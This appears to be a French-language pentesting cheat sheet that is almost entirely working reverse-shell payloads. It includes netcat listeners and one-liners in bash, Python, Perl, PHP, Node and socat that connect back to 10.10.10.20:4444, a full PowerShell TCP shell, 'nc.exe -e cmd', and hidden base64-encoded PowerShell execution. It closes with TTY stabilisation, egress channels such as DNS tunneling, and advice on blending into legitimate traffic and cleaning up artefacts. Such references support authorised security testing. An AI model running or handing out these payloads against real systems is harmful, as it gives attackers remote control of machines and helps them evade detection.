# Écouter
bash
copier
nc -lvnp 4444
rlwrap -cAr nc -lvnp 4444
ncat --ssl -lvnp 4444
# Linux / macOS
bash
copier
bash -i >& /dev/tcp/10.10.10.20/4444 0>&1
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.10.20",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
perl -e 'use Socket;$i="10.10.10.20";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
php -r '$s=fsockopen("10.10.10.20",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
node -e 'require("child_process").exec("bash -i >& /dev/tcp/10.10.10.20/4444 0>&1")'
socat exec :'bash -li' ,pty,stderr,setsid,sigint,sane tcp:10.10.10.20:4444
# Windows
powershell
copier
$c = New-Object Net.Sockets.TCPClient('10.10.10.20' ,4444 )
$s = $c .GetStream()
[byte []]$b = 0 ..65535 | % {0 }
while (($i = $s .Read($b ,0 ,$b .Length)) -ne 0 ) {
$d = (New-Object Text.ASCIIEncoding).GetString($b ,0 ,$i )
$r = (iex $d 2 >&1 | Out-String )
$r2 = $r + 'PS ' + (pwd ).Path + '> '
$sb = ([Text.Encoding ]::ASCII).GetBytes($r2 )
$s .Write($sb ,0 ,$sb .Length); $s .Flush()
}
$c .Close()
cmd
copier
:: Cmd (si nc est présent)
nc.exe -e cmd .exe 10 .10 .10 .20 4444
powershell
copier
$cmd = '...payload...'
[Convert ]::ToBase64String([Text.Encoding ]::Unicode.GetBytes($cmd ))
powershell -nop -w hidden -enc <BASE64>
# Stabiliser le TTY
bash
copier
python3 -c 'import pty;pty.spawn("/bin/bash")'
stty raw -echo ; fg
export TERM=xterm-256color
stty rows 40 cols 120
bash
copier
script -qc /bin/bash /dev/null
curl ifconfig.me
ss -tlnp
# Choisir le bon canal
Sortie autorisée
Payload
80 / 443
HTTP(S), WebSocket, DNS
53
DNS tunneling
4444 / 1337
TCP brut, souvent filtré
Aucune sortie
Bind shell (si entrant autorisé)
ASTUCE
Teste d'abord la connectivité sortante avec curl ou wget vers ton listener. Un payload qui ne se connecte pas n'est pas forcément bloqué : il peut manquer un binaire, un shell ou les droits d'exécution.
ATTENTION
Un reverse shell laisse une connexion persistante et des logs. Utilise un port et un canal cohérents avec le trafic légitime, nettoie tes artefacts, et ne laisse jamais un listener actif après la mission.